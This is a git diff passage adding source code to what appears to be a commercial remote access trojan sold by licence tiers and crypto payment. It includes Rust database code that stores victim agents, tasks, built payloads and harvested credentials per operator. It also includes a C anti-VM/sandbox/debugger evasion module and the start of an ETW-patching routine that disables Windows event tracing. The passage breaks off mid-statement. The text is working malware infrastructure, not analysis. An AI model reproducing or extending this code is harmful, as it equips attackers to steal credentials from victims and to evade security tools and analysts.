.bind(&payload.file_path) + .bind(payload.file_size) + .bind(&payload.agent_pubkey) + .bind(&payload.built_by) + .bind(&payload.built_at) + .bind(&payload.status) + .execute(pool) + .await?; + Ok(()) +} + +pub async fn get_payloads(pool: &PgPool) -> Result, sqlx::Error> { + let rows: Vec<(String, String, String, String, i64, String, String, String, String)> = + sqlx::query_as( + "SELECT payload_id, name, config_json, file_path, file_size, agent_pubkey, built_by, built_at, status + FROM payloads ORDER BY built_at DESC", + ) + .fetch_all(pool) + .await?; + + Ok(rows + .into_iter() + .map(|r| PayloadRecord { + payload_id: r.0, + name: r.1, + config_json: r.2, + file_path: r.3, + file_size: r.4, + agent_pubkey: r.5, + built_by: r.6, + built_at: r.7, + status: r.8, + }) + .collect()) +} + +pub async fn get_payload( + pool: &PgPool, + payload_id: &str, +) -> Result, sqlx::Error> { + let row: Option<(String, String, String, String, i64, String, String, String, String)> = + sqlx::query_as( + "SELECT payload_id, name, config_json, file_path, file_size, agent_pubkey, built_by, built_at, status + FROM payloads WHERE payload_id = $1", + ) + .bind(payload_id) + .fetch_optional(pool) + .await?; + + Ok(row.map(|r| PayloadRecord { + payload_id: r.0, + name: r.1, + config_json: r.2, + file_path: r.3, + file_size: r.4, + agent_pubkey: r.5, + built_by: r.6, + built_at: r.7, + status: r.8, + })) +} + +pub async fn delete_payload( + pool: &PgPool, + payload_id: &str, +) -> Result<(), sqlx::Error> { + sqlx::query("DELETE FROM payloads WHERE payload_id = $1") + .bind(payload_id) + .execute(pool) + .await?; + Ok(()) +} + +// ============================================================================ +// Credentials history +// ============================================================================ + +/// Fetch successful credential grab results with agent info, scoped by operator. +/// If operator is None, returns all (admin mode). +/// Returns (task_id, agent_id, hostname, username, os_version, output, received_at). +pub async fn get_credential_results( + pool: &PgPool, + operator: Option<&str>, +) -> Result, sqlx::Error> { + let rows: Vec<(String, String, String, String, String, String, String)> = match operator { + Some(op) => { + sqlx::query_as( + "SELECT tr.task_id, tr.agent_id, a.hostname, a.username, a.os_version, + tr.output, tr.received_at + FROM task_results tr + JOIN tasks t ON tr.task_id = t.task_id + JOIN agents a ON tr.agent_id = a.agent_id + WHERE t.command = 'creds' AND tr.success = 1 AND tr.output != '' + AND a.owner = $1 + ORDER BY tr.received_at DESC" + ) + .bind(op) + .fetch_all(pool) + .await? + } + None => { + sqlx::query_as( + "SELECT tr.task_id, tr.agent_id, a.hostname, a.username, a.os_version, + tr.output, tr.received_at + FROM task_results tr + JOIN tasks t ON tr.task_id = t.task_id + JOIN agents a ON tr.agent_id = a.agent_id + WHERE t.command = 'creds' AND tr.success = 1 AND tr.output != '' + ORDER BY tr.received_at DESC" + ) + .fetch_all(pool) + .await? + } + }; + Ok(rows) +} diff --git a/src/db/schema.rs b/src/db/schema.rs new file mode 100755 index 0000000..8432a6e --- /dev/null +++ b/src/db/schema.rs @@ -0,0 +1,232 @@ +use sqlx::PgPool; +use tracing::info; + +/// Run all CREATE TABLE statements to initialize the database schema. +pub async fn initialize_database(pool: &PgPool) -> Result<(), sqlx::Error> { + info!("Initializing database schema..."); + + sqlx::query( + "CREATE TABLE IF NOT EXISTS operators ( + id BIGSERIAL PRIMARY KEY, + username TEXT NOT NULL UNIQUE, + password_hash TEXT NOT NULL, + role TEXT NOT NULL DEFAULT 'operator', + created_at TEXT NOT NULL DEFAULT CURRENT_TIMESTAMP::text + )", + ) + .execute(pool) + .await?; + + sqlx::query( + "CREATE TABLE IF NOT EXISTS agents ( + agent_id TEXT PRIMARY KEY, + hostname TEXT NOT NULL, + username TEXT NOT NULL, + domain TEXT NOT NULL DEFAULT '', + internal_ip TEXT NOT NULL DEFAULT '', + pid BIGINT NOT NULL DEFAULT 0, + ppid BIGINT NOT NULL DEFAULT 0, + os_version TEXT NOT NULL DEFAULT '', + arch TEXT NOT NULL DEFAULT '', + process_name TEXT NOT NULL DEFAULT '', + elevated BIGINT NOT NULL DEFAULT 0, + integrity_level BIGINT NOT NULL DEFAULT 0, + sleep_interval BIGINT NOT NULL DEFAULT 60, + jitter_percent BIGINT NOT NULL DEFAULT 0, + kill_date BIGINT NOT NULL DEFAULT 0, + status TEXT NOT NULL DEFAULT 'alive', + listener_id TEXT NOT NULL DEFAULT '', + external_ip TEXT NOT NULL DEFAULT '', + first_seen TEXT NOT NULL DEFAULT CURRENT_TIMESTAMP::text, + last_seen TEXT NOT NULL DEFAULT CURRENT_TIMESTAMP::text, + owner TEXT NOT NULL DEFAULT '' + )", + ) + .execute(pool) + .await?; + + sqlx::query( + "CREATE TABLE IF NOT EXISTS session_keys ( + agent_id TEXT PRIMARY KEY, + session_key BYTEA NOT NULL, + created_at TEXT NOT NULL DEFAULT CURRENT_TIMESTAMP::text, + FOREIGN KEY (agent_id) REFERENCES agents(agent_id) + )", + ) + .execute(pool) + .await?; + + sqlx::query( + "CREATE TABLE IF NOT EXISTS tasks ( + task_id TEXT PRIMARY KEY, + agent_id TEXT NOT NULL, + command TEXT NOT NULL, + args TEXT NOT NULL DEFAULT '[]', + data BYTEA, + timeout BIGINT NOT NULL DEFAULT 0, + status TEXT NOT NULL DEFAULT 'pending', + operator TEXT NOT NULL DEFAULT '', + created_at TEXT NOT NULL DEFAULT CURRENT_TIMESTAMP::text, + FOREIGN KEY (agent_id) REFERENCES agents(agent_id) + )", + ) + .execute(pool) + .await?; + + sqlx::query( + "CREATE TABLE IF NOT EXISTS task_results ( + id BIGSERIAL PRIMARY KEY, + task_id TEXT NOT NULL, + agent_id TEXT NOT NULL, + success BIGINT NOT NULL DEFAULT 0, + output TEXT NOT NULL DEFAULT '', + data BYTEA, + error_code BIGINT NOT NULL DEFAULT 0, + error_message TEXT NOT NULL DEFAULT '', + received_at TEXT NOT NULL DEFAULT CURRENT_TIMESTAMP::text, + FOREIGN KEY (task_id) REFERENCES tasks(task_id), + FOREIGN KEY (agent_id) REFERENCES agents(agent_id) + )", + ) + .execute(pool) + .await?; + + sqlx::query( + "CREATE TABLE IF NOT EXISTS events ( + event_id TEXT PRIMARY KEY, + event_type TEXT NOT NULL, + agent_id TEXT NOT NULL DEFAULT '', + operator TEXT NOT NULL DEFAULT '', + message TEXT NOT NULL DEFAULT '', + timestamp BIGINT NOT NULL, + severity TEXT NOT NULL DEFAULT 'info' + )", + ) + .execute(pool) + .await?; + + sqlx::query( + "CREATE TABLE IF NOT EXISTS listeners ( + listener_id TEXT PRIMARY KEY, + name TEXT NOT NULL, + protocol TEXT NOT NULL DEFAULT 'https', + bind_address TEXT NOT NULL, + bind_port BIGINT NOT NULL, + active BIGINT NOT NULL DEFAULT 1, + tls_cert_path TEXT NOT NULL DEFAULT '', + tls_key_path TEXT NOT NULL DEFAULT '', + created_at TEXT NOT NULL DEFAULT CURRENT_TIMESTAMP::text + )", + ) + .execute(pool) + .await?; + + sqlx::query( + "CREATE TABLE IF NOT EXISTS agent_tags ( + agent_id TEXT NOT NULL, + tag TEXT NOT NULL, + PRIMARY KEY (agent_id, tag), + FOREIGN KEY (agent_id) REFERENCES agents(agent_id) + )", + ) + .execute(pool) + .await?; + + sqlx::query( + "CREATE TABLE IF NOT EXISTS payloads ( + payload_id TEXT PRIMARY KEY, + name TEXT NOT NULL, + config_json TEXT NOT NULL, + file_path TEXT NOT NULL, + file_size BIGINT NOT NULL, + agent_pubkey TEXT NOT NULL, + built_by TEXT NOT NULL, + built_at TEXT NOT NULL, + status TEXT NOT NULL DEFAULT 'ready' + )", + ) + .execute(pool) + .await?; + + sqlx::query( + "CREATE TABLE IF NOT EXISTS license_keys ( + key_id TEXT PRIMARY KEY, + created_at BIGINT NOT NULL, + expires_at BIGINT NOT NULL, + activated_by TEXT, + activated_at TEXT, + revoked BIGINT NOT NULL DEFAULT 0, + revoked_at TEXT, + revoked_by TEXT, + activation_ip TEXT, + use_count BIGINT NOT NULL DEFAULT 0, + max_agents BIGINT NOT NULL DEFAULT 0, + generated_by TEXT NOT NULL DEFAULT 'cli' + )", + ) + .execute(pool) + .await?; + + sqlx::query( + "CREATE TABLE IF NOT EXISTS license_audit_log ( + id BIGSERIAL PRIMARY KEY, + event_type TEXT NOT NULL, + key_id TEXT, + username TEXT, + ip_address TEXT, + details TEXT NOT NULL DEFAULT '', + created_at TEXT NOT NULL DEFAULT CURRENT_TIMESTAMP::text + )", + ) + .execute(pool) + .await?; + + sqlx::query( + "CREATE TABLE IF NOT EXISTS payments ( + payment_id TEXT PRIMARY KEY, + nowpay_invoice_id TEXT, + nowpay_payment_id TEXT, + amount DOUBLE PRECISION NOT NULL, + currency TEXT NOT NULL DEFAULT 'usd', + status TEXT NOT NULL DEFAULT 'pending', + license_key TEXT, + email TEXT, + ip_address TEXT, + created_at TEXT NOT NULL DEFAULT CURRENT_TIMESTAMP::text, + completed_at TEXT + )", + ) + .execute(pool) + .await?; + + // ── Tier columns (added for tiered licensing) ───────────────────── + sqlx::query("ALTER TABLE license_keys ADD COLUMN IF NOT EXISTS tier TEXT NOT NULL DEFAULT 'rat'") + .execute(pool) + .await + .ok(); // Ignore if column already exists + + sqlx::query("ALTER TABLE operators ADD COLUMN IF NOT EXISTS tier TEXT NOT NULL DEFAULT 'rat'") + .execute(pool) + .await + .ok(); + + sqlx::query("ALTER TABLE payments ADD COLUMN IF NOT EXISTS tier TEXT NOT NULL DEFAULT 'rat'") + .execute(pool) + .await + .ok(); + + // ── AV product column ───────────────────────────────────────────── + sqlx::query("ALTER TABLE agents ADD COLUMN IF NOT EXISTS av_product TEXT NOT NULL DEFAULT ''") + .execute(pool) + .await + .ok(); + + // ── Banned column (for agent banning/blacklisting) ──────────────── + sqlx::query("ALTER TABLE agents ADD COLUMN IF NOT EXISTS banned BIGINT NOT NULL DEFAULT 0") + .execute(pool) + .await + .ok(); + + info!("Database schema initialized successfully"); + Ok(()) +} diff --git a/src/evasion/anti_vm.c b/src/evasion/anti_vm.c new file mode 100755 index 0000000..51ae4c0 --- /dev/null +++ b/src/evasion/anti_vm.c @@ -0,0 +1,688 @@ +#include "zerin.h" +#include +#include +#include +#include +#include +#if defined(__GNUC__) || defined(__clang__) +#include +#include +#endif + +// ============================================================================ +// Anti-VM / Sandbox Detection — Score-Based System +// +// Tier 1 (10 pts): Definitive VM/sandbox artifacts +// Tier 2 (5 pts): Strong indicators +// Tier 3 (2 pts): Supplementary / environmental +// Threshold: 10 pts — any Tier 1 hit exits instantly +// +// Design: single process snapshot shared across all process-based checks, +// volatile timing to prevent optimizer removal, RDTSC for instrumentation +// detection, firmware string checks via registry. +// ============================================================================ + +#ifdef _WIN32 + +// --- Helpers ---------------------------------------------------------------- + +static int ci_cmp(const char *a, const char *b) { + while (*a && *b) { + char ca = (*a >= 'A' && *a <= 'Z') ? (*a + 32) : *a; + char cb = (*b >= 'A' && *b <= 'Z') ? (*b + 32) : *b; + if (ca != cb) return ca - cb; + a++; b++; + } + return (unsigned char)*a - (unsigned char)*b; +} + +static int ends_with_i(const char *str, const char *suffix) { + size_t slen = strlen(str); + size_t xlen = strlen(suffix); + if (xlen > slen) return 0; + return ci_cmp(str + slen - xlen, suffix) == 0; +} + +// Case-insensitive substring search +static int contains_i(const char *haystack, const char *needle) { + size_t hlen = strlen(haystack); + size_t nlen = strlen(needle); + if (nlen > hlen) return 0; + for (size_t i = 0; i <= hlen - nlen; i++) { + int match = 1; + for (size_t j = 0; j < nlen; j++) { + char a = haystack[i + j]; + char b = needle[j]; + if (a >= 'A' && a <= 'Z') a += 32; + if (b >= 'A' && b <= 'Z') b += 32; + if (a != b) { match = 0; break; } + } + if (match) return 1; + } + return 0; +} + +// ============================================================================ +// Unified process snapshot — taken once, used by analysis tools check, +// VM process check, and process count check. Avoids 3x CreateToolhelp32Snapshot. +// ============================================================================ + +typedef struct { + int analysis_score; // Tier 1: analysis tools running + int vm_proc_score; // Tier 2: VM guest processes + int proc_count; // Raw count for Tier 3 +} proc_scan_result_t; + +static proc_scan_result_t scan_processes(void) { + proc_scan_result_t r = {0, 0, 0}; + + // Tier 1: analysis / RE tools (10 pts, instant exit) + static const char *analysis_tools[] = { + "wireshark.exe", "fiddler.exe", "processhacker.exe", + "procmon.exe", "procmon64.exe", "procexp.exe", "procexp64.exe", + "x64dbg.exe", "x32dbg.exe", "ollydbg.exe", + "ida.exe", "ida64.exe", "idaq.exe", "idaq64.exe", + "windbg.exe", "dnspy.exe", "dnSpy.exe", + "pestudio.exe", "die.exe", "autoruns.exe", + "tcpview.exe", "dumpcap.exe", "httpdebuggerui.exe", + "regmon.exe", "filemon.exe", "immunitydebugger.exe", + "lordpe.exe", "petools.exe", "resourcehacker.exe", + "fakenet.exe", "apimonitor-x64.exe", "apimonitor-x86.exe", + NULL + }; + + // Tier 2: VM guest service processes (5 pts each) + static const char *vm_procs[] = { + "vmtoolsd.exe", "vmwaretray.exe", "vmwareuser.exe", + "VBoxService.exe", "VBoxTray.exe", + "qemu-ga.exe", "vdagent.exe", "vdservice.exe", + "prl_tools.exe", "prl_cc.exe", + "xenservice.exe", + "SbieSvc.exe", "SbieCtrl.exe", + NULL + }; + + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snap == INVALID_HANDLE_VALUE) return r; + + PROCESSENTRY32 pe; + pe.dwSize = sizeof(pe); + if (Process32First(snap, &pe)) { + do { + r.proc_count++; + + // Check analysis tools (stop at first hit — 10 pts is threshold) + if (r.analysis_score == 0) { + for (int i = 0; analysis_tools[i]; i++) { + if (ci_cmp(pe.szExeFile, analysis_tools[i]) == 0) { + r.analysis_score = 10; + break; + } + } + } + + // Check VM processes (accumulate, may need 2 hits) + if (r.vm_proc_score < 10) { + for (int i = 0; vm_procs[i]; i++) { + if (ci_cmp(pe.szExeFile, vm_procs[i]) == 0) { + r.vm_proc_score += 5; + break; + } + } + } + } while (Process32Next(snap, &pe)); + } + CloseHandle(snap); + return r; +} + +// ============================================================================ +// Tier 1: Definitive artifacts (10 pts each — instant exit) +// ============================================================================ + +static int check_vm_registry_keys(void) { + static const char *keys[] = { + "SOFTWARE\\VMware, Inc.\\VMware Tools", + "SOFTWARE\\Oracle\\VirtualBox Guest Additions", + "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters", + "SOFTWARE\\Parallels\\Parallels Tools", + "SYSTEM\\CurrentControlSet\\Services\\VBoxGuest", + "SYSTEM\\CurrentControlSet\\Services\\VBoxMouse", + "SYSTEM\\CurrentControlSet\\Services\\VBoxSF", + "SYSTEM\\CurrentControlSet\\Services\\vmci", + "SYSTEM\\CurrentControlSet\\Services\\vmhgfs", + "SYSTEM\\CurrentControlSet\\Services\\vmmemctl", + "SYSTEM\\CurrentControlSet\\Services\\xenevtchn", + "SYSTEM\\CurrentControlSet\\Services\\xennet", + "SYSTEM\\CurrentControlSet\\Services\\xenvdb", + NULL + }; + + HKEY hk; + for (int i = 0; keys[i]; i++) { + if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, keys[i], 0, KEY_READ, &hk) == ERROR_SUCCESS) { + RegCloseKey(hk); + return 10; + } + } + return 0; +} + +static int check_vm_driver_files(void) { + static const char *drivers[] = { + "VBoxMouse.sys", "VBoxGuest.sys", "VBoxSF.sys", + "VBoxVideo.sys", "vboxdisp.dll", "vboxhook.dll", + "vmci.sys", "vmhgfs.sys", "vmmemctl.sys", + "vm3dmp.sys", "vmrawdsk.sys", "vmusbmouse.sys", + "prl_fs.sys", "prl_tg.sys", + NULL + }; + + char sys_dir[MAX_PATH]; + UINT len = GetSystemDirectoryA(sys_dir, MAX_PATH); + if (len == 0 || len >= MAX_PATH - 40) return 0; + + char path[MAX_PATH]; + for (int i = 0; drivers[i]; i++) { + snprintf(path, sizeof(path), "%s\\drivers\\%s", sys_dir, drivers[i]); + if (GetFileAttributesA(path) != INVALID_FILE_ATTRIBUTES) + return 10; + + if (ends_with_i(drivers[i], ".dll")) { + snprintf(path, sizeof(path), "%s\\%s", sys_dir, drivers[i]); + if (GetFileAttributesA(path) != INVALID_FILE_ATTRIBUTES) + return 10; + } + } + return 0; +} + +static int check_sandbox_dlls(void) { + // DLLs injected by sandbox/analysis frameworks into every process + static const char *dlls[] = { + "sbiedll.dll", // Sandboxie + "cuckoomon.dll", // Cuckoo sandbox + "api_log.dll", // API monitor / some sandboxes + "dir_watch.dll", // Cuckoo/CAPE + "pstorec.dll", // SunBelt sandbox + "vmcheck.dll", // Virtual PC + "wpespy.dll", // WPE Pro (packet editor) + "cmdvrt32.dll", // Comodo sandbox + "cmdvrt64.dll", // Comodo sandbox + "SxIn.dll", // 360 Sandbox + "Sf2.dll", // Avast sandbox + "snxhk.dll", // Avast sandbox + "avghooka.dll", // AVG sandbox + "avghookx.dll", // AVG sandbox + NULL + }; + + for (int i = 0; dlls[i]; i++) { + if (GetModuleHandleA(dlls[i]) != NULL) + return 10; + } + return 0; +} + +static int check_sandbox_identity(void) { + // Check both username and computer name + static const char *bad_names[] = { + "john", "malware", "sandbox", "virus", "test", + "sample", "analyst", "cuckoo", "currentuser", + "sand box", "maltest", "timmy", "emily", + "peter wilson", "hong lee", "hapubws", "johndoe", + "it admin", "willie", "joe sandbox", "miller", + "malwaretest", "tequilaboomboom", "phil", "nmci", + NULL + }; + + char buf[256]; + DWORD sz; + + // Username check + sz = sizeof(buf); + if (GetUserNameA(buf, &sz)) { + for (int i = 0; bad_names[i]; i++) { + if (ci_cmp(buf, bad_names[i]) == 0) + return 10; + } + } + + // Computer name check + sz = sizeof(buf); + if (GetComputerNameA(buf, &sz)) { + static const char *bad_hosts[] = { + "sandbox", "cuckoo", "virus", "malware", + "vmware", "virtualbox", "PC-PC", "SystemIT", + "PC", "PC01", "PC02", "PC-PC", + "DESKTOP-TROLOLO", "NfZtFbPfH", "ELICZ", + "DESKTOP-QO5QU33", "DESKTOP-8K3CQGJ", + NULL + }; + for (int i = 0; bad_hosts[i]; i++) { + if (ci_cmp(buf, bad_hosts[i]) == 0) + return 10; + } + } + + return 0; +} + +// ============================================================================ +// Tier 2: Strong indicators (5 pts each) +// ============================================================================ + +static int check_vm_mac_prefix(void) { + static const unsigned char vm_macs[][3] = { + {0x00, 0x0C, 0x29}, // VMware + {0x00, 0x50, 0x56}, // VMware + {0x00, 0x05, 0x69}, // VMware + {0x08, 0x00, 0x27}, // VirtualBox + {0x52, 0x54, 0x00}, // QEMU/KVM + {0x00, 0x1C, 0x42}, // Parallels + {0x00, 0x16, 0x3E}, // Xen + // NOTE: Hyper-V (00:15:5D) intentionally excluded — WSL2/Docker on real machines + }; + + ULONG buf_len = 0; + GetAdaptersInfo(NULL, &buf_len); + if (buf_len == 0) return 0; + + IP_ADAPTER_INFO *adapters = (IP_ADAPTER_INFO *)HeapAlloc(GetProcessHeap(), 0, buf_len); + if (!adapters) return 0; + + int score = 0; + if (GetAdaptersInfo(adapters, &buf_len) == NO_ERROR) { + for (IP_ADAPTER_INFO *a = adapters; a; a = a->Next) { + if (a->AddressLength < 3) continue; + for (int i = 0; i < (int)(sizeof(vm_macs) / sizeof(vm_macs[0])); i++) { + if (a->Address[0] == vm_macs[i][0] && + a->Address[1] == vm_macs[i][1] && + a->Address[2] == vm_macs[i][2]) { + score = 5; + goto mac_done; + } + } + } + } +mac_done: + HeapFree(GetProcessHeap(), 0, adapters); + return score; +} + +static int check_cpuid_hypervisor(void) { +#if defined(__GNUC__) || defined(__clang__) + unsigned int eax, ebx, ecx, edx; + + // Check hypervisor present bit (CPUID.1:ECX bit 31) + if (!__get_cpuid(1, &eax, &ebx, &ecx, &edx)) + return 0; + if (!(ecx & (1u << 31))) + return 0; // No hypervisor — bare metal + + // Get hypervisor vendor string from leaf 0x40000000 + if (!__get_cpuid(0x40000000, &eax, &ebx, &ecx, &edx)) + return 0; + + char vendor[13]; + *(unsigned int *)(vendor + 0) = ebx; + *(unsigned int *)(vendor + 4) = ecx; + *(unsigned int *)(vendor + 8) = edx; + vendor[12] = '\0'; + + // Skip Microsoft Hv — WSL2 and Docker set this on real machines + if (memcmp(vendor, "Microsoft Hv", 12) == 0) + return 0; + + // Known VM hypervisor vendor strings (all exactly 12 bytes) + // Use fixed byte arrays to avoid null-terminator issues with KVM's 9-char string + static const char vm_vendors[][13] = { + "VMwareVMware", // VMware + "VBoxVBoxVBox", // VirtualBox + {'K','V','M','K','V','M','K','V','M',0,0,0,0}, // KVM (9 chars + padding) + "XenVMMXenVMM", // Xen + {'p','r','l',' ','h','y','p','e','r','v',' ',' ',0}, // Parallels + }; + + for (int i = 0; i < (int)(sizeof(vm_vendors) / sizeof(vm_vendors[0])); i++) { + if (memcmp(vendor, vm_vendors[i], 12) == 0) + return 5; + } +#endif + return 0; +} + +static int check_debugger_attached(void) { + typedef LONG (NTAPI *pNtQIP)(HANDLE, ULONG, PVOID, ULONG, PULONG); + pNtQIP NtQIP = RESOLVE_API(HASH_NTDLL, HASH_NtQueryInformationProcess, pNtQIP); + if (!NtQIP) { + // Fallback if PEB walk failed + return IsDebuggerPresent() ? 5 : 0; + } + + // ProcessDebugPort = 7 + ULONG_PTR debug_port = 0; + ULONG ret_len = 0; + LONG status = NtQIP(GetCurrentProcess(), 7, &debug_port, sizeof(debug_port), &ret_len); + if (status == 0 && debug_port != 0) + return 5; + + // ProcessDebugObjectHandle = 0x1E — another debugger indicator + HANDLE debug_obj = NULL; + status = NtQIP(GetCurrentProcess(), 0x1E, &debug_obj, sizeof(debug_obj), &ret_len); + if (status == 0 && debug_obj != NULL) + return 5; + + if (IsDebuggerPresent()) + return 5; + + return 0; +} + +static int check_sleep_acceleration(void) { + // Use volatile to prevent the compiler from optimizing away the timing + volatile ULONGLONG t1 = GetTickCount64(); + Sleep(300); + volatile ULONGLONG t2 = GetTickCount64(); + + // 300ms sleep completed in < 270ms → sandbox acceleration + if ((t2 - t1) < 270) + return 5; + + return 0; +} + +static int check_firmware_strings(void) { + // SMBIOS data in registry reveals VM vendor strings + HKEY hk; + char val[512]; + DWORD sz; + + static const char *vm_strings[] = { + "vbox", "vmware", "qemu", "virtual", "bochs", "xen", + "parallels", "innotek", + NULL + }; + + // SystemBiosVersion + if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, + "HARDWARE\\Description\\System", + 0, KEY_READ, &hk) == ERROR_SUCCESS) { + + sz = sizeof(val); + if (RegQueryValueExA(hk, "SystemBiosVersion", NULL, NULL, + (LPBYTE)val, &sz) == ERROR_SUCCESS) { + val[sz < sizeof(val) ? sz : sizeof(val) - 1] = '\0'; + for (int i = 0; vm_strings[i]; i++) { + if (contains_i(val, vm_strings[i])) { + RegCloseKey(hk); + return 5; + } + } + } + + // VideoBiosVersion + sz = sizeof(val); + if (RegQueryValueExA(hk, "VideoBiosVersion", NULL, NULL, + (LPBYTE)val, &sz) == ERROR_SUCCESS) { + val[sz < sizeof(val) ? sz : sizeof(val) - 1] = '\0'; + for (int i = 0; vm_strings[i]; i++) { + if (contains_i(val, vm_strings[i])) { + RegCloseKey(hk); + return 5; + } + } + } + RegCloseKey(hk); + } + + // System manufacturer (BIOS) + if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, + "HARDWARE\\Description\\System\\BIOS", + 0, KEY_READ, &hk) == ERROR_SUCCESS) { + + const char *value_names[] = { + "SystemManufacturer", "SystemProductName", + "BIOSVendor", NULL + }; + for (int v = 0; value_names[v]; v++) { + sz = sizeof(val); + if (RegQueryValueExA(hk, value_names[v], NULL, NULL, + (LPBYTE)val, &sz) == ERROR_SUCCESS) { + val[sz < sizeof(val) ? sz : sizeof(val) - 1] = '\0'; + for (int i = 0; vm_strings[i]; i++) { + if (contains_i(val, vm_strings[i])) { + RegCloseKey(hk); + return 5; + } + } + } + } + RegCloseKey(hk); + } + + return 0; +} + +static int check_rdtsc_timing(void) { +#if defined(__GNUC__) || defined(__clang__) + // RDTSC measures actual CPU cycles — single-stepping or instrumentation + // introduces massive overhead that's impossible to hide + volatile unsigned long long t1 = __rdtsc(); + + // Do a trivial operation that takes ~constant cycles on real hardware + // but 100x+ under instrumentation + volatile int dummy = 0; + for (volatile int i = 0; i < 100; i++) + dummy += i; + (void)dummy; + + volatile unsigned long long t2 = __rdtsc(); + unsigned long long delta = t2 - t1; + + // On real hardware this loop takes ~500-2000 cycles + // Under single-stepping/instrumentation: 100,000+ cycles + if (delta > 50000) + return 5; +#endif + return 0; +} + +// ============================================================================ +// Tier 3: Supplementary / environmental (2 pts each) +// ============================================================================ + +static int check_cpu_cores(void) { + SYSTEM_INFO si; + GetSystemInfo(&si); + return (si.dwNumberOfProcessors <= 1) ? 2 : 0; +} + +static int check_ram_size(void) { + MEMORYSTATUSEX mem; + mem.dwLength = sizeof(mem); + if (!GlobalMemoryStatusEx(&mem)) return 0; + return (mem.ullTotalPhys < (2ULL * 1024 * 1024 * 1024)) ? 2 : 0; +} + +static int check_disk_size(void) { + ULARGE_INTEGER total; + if (!GetDiskFreeSpaceExA("C:\\", NULL, &total, NULL)) return 0; + return (total.QuadPart < (60ULL * 1024 * 1024 * 1024)) ? 2 : 0; +} + +static int check_uptime(void) { + return (GetTickCount64() < (10ULL * 60 * 1000)) ? 2 : 0; +} + +static int check_recent_files(void) { + char recent_path[MAX_PATH]; + if (SHGetFolderPathA(NULL, CSIDL_RECENT, NULL, 0, recent_path) != S_OK) + return 0; + + char search[MAX_PATH]; + snprintf(search, sizeof(search), "%s\\*.lnk", recent_path); + + WIN32_FIND_DATAA fd; + HANDLE hFind = FindFirstFileA(search, &fd); + if (hFind == INVALID_HANDLE_VALUE) + return 2; + + int count = 0; + do { count++; } while (count < 4 && FindNextFileA(hFind, &fd)); + FindClose(hFind); + return (count < 3) ? 2 : 0; +} + +static int check_screen_resolution(void) { + int cx = GetSystemMetrics(SM_CXSCREEN); + int cy = GetSystemMetrics(SM_CYSCREEN); + return (cx <= 800 && cy <= 600) ? 2 : 0; +} + +static int check_installed_programs(void) { + WIN32_FIND_DATAA fd; + HANDLE hFind = FindFirstFileA("C:\\Program Files\\*", &fd); + if (hFind == INVALID_HANDLE_VALUE) + return 2; + + int count = 0; + do { + if ((fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && + fd.cFileName[0] != '.') + count++; + } while (FindNextFileA(hFind, &fd)); + FindClose(hFind); + return (count < 8) ? 2 : 0; +} + +static int check_mouse_movement(void) { + // Sandboxes rarely simulate mouse activity + POINT p1, p2; + if (!GetCursorPos(&p1)) return 0; + + // Small sleep — the 300ms from sleep acceleration check already passed, + // so we just recheck the position after a brief pause + Sleep(50); + + if (!GetCursorPos(&p2)) return 0; + + // We can't conclude much from a single 50ms window, but combined with + // checking if the cursor is stuck at 0,0 (default in many sandboxes) + if (p1.x == 0 && p1.y == 0 && p2.x == 0 && p2.y == 0) + return 2; + + return 0; +} + +static int check_desktop_files(void) { + // Real users have files on their desktop; fresh sandbox VMs don't + char desktop[MAX_PATH]; + if (SHGetFolderPathA(NULL, CSIDL_DESKTOPDIRECTORY, NULL, 0, desktop) != S_OK) + return 0; + + char search[MAX_PATH]; + snprintf(search, sizeof(search), "%s\\*", desktop); + + WIN32_FIND_DATAA fd; + HANDLE hFind = FindFirstFileA(search, &fd); + if (hFind == INVALID_HANDLE_VALUE) + return 2; + + int count = 0; + do { + if (fd.cFileName[0] != '.') count++; + } while (count < 4 && FindNextFileA(hFind, &fd)); + FindClose(hFind); + return (count < 3) ? 2 : 0; +} + +// ============================================================================ +// Main entry point +// ============================================================================ + +int evasion_check_vm(void) { + int score = 0; + + // ── Tier 1: Definitive artifacts (10 pts each) ────────────────────── + + score += check_vm_registry_keys(); + if (score >= 10) return 1; + + score += check_vm_driver_files(); + if (score >= 10) return 1; + + score += check_sandbox_dlls(); + if (score >= 10) return 1; + + score += check_sandbox_identity(); + if (score >= 10) return 1; + + // Single process snapshot — feeds analysis tools (T1), VM procs (T2), count (T3) + proc_scan_result_t ps = scan_processes(); + score += ps.analysis_score; + if (score >= 10) return 1; + + // ── Tier 2: Strong indicators (5 pts each) ────────────────────────── + + score += ps.vm_proc_score; + if (score >= 10) return 1; + + score += check_vm_mac_prefix(); + if (score >= 10) return 1; + + score += check_cpuid_hypervisor(); + if (score >= 10) return 1; + + score += check_firmware_strings(); + if (score >= 10) return 1; + + score += check_debugger_attached(); + if (score >= 10) return 1; + + score += check_rdtsc_timing(); + if (score >= 10) return 1; + + score += check_sleep_acceleration(); + if (score >= 10) return 1; + + // ── Tier 3: Supplementary (2 pts each) ────────────────────────────── + + score += check_cpu_cores(); + if (score >= 10) return 1; + + score += check_ram_size(); + if (score >= 10) return 1; + + score += check_disk_size(); + if (score >= 10) return 1; + + score += check_uptime(); + if (score >= 10) return 1; + + // Use process count from the unified snapshot + if (ps.proc_count < 25) score += 2; + if (score >= 10) return 1; + + score += check_recent_files(); + if (score >= 10) return 1; + + score += check_screen_resolution(); + if (score >= 10) return 1; + + score += check_installed_programs(); + if (score >= 10) return 1; + + score += check_mouse_movement(); + if (score >= 10) return 1; + + score += check_desktop_files(); + if (score >= 10) return 1; + + return 0; +} + +#else +// Non-Windows: no VM detection needed +int evasion_check_vm(void) { return 0; } +#endif diff --git a/src/evasion/etw.c b/src/evasion/etw.c new file mode 100755 index 0000000..c4177f0 --- /dev/null +++ b/src/evasion/etw.c @@ -0,0 +1,34 @@ +#include "zerin.h" + +#ifdef _WIN32 + +#include + +typedef BOOL (WINAPI *PFN_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD); + +int evasion_patch_etw(void) { + void *pEtw = (void *)resolve_api(HASH_NTDLL, HASH_EtwEventWrite); + if (!pEtw) return -1; + + // XOR-encoded: 0x33 0xC0 0xC3 = xor eax,eax; ret + volatile BYTE key = 0xAA; + BYTE enc[] = { 0x99, 0x6A, 0x69 }; + BYTE patch[3]; + for (int i = 0; i < 3; i++) patch[i] = enc[i] 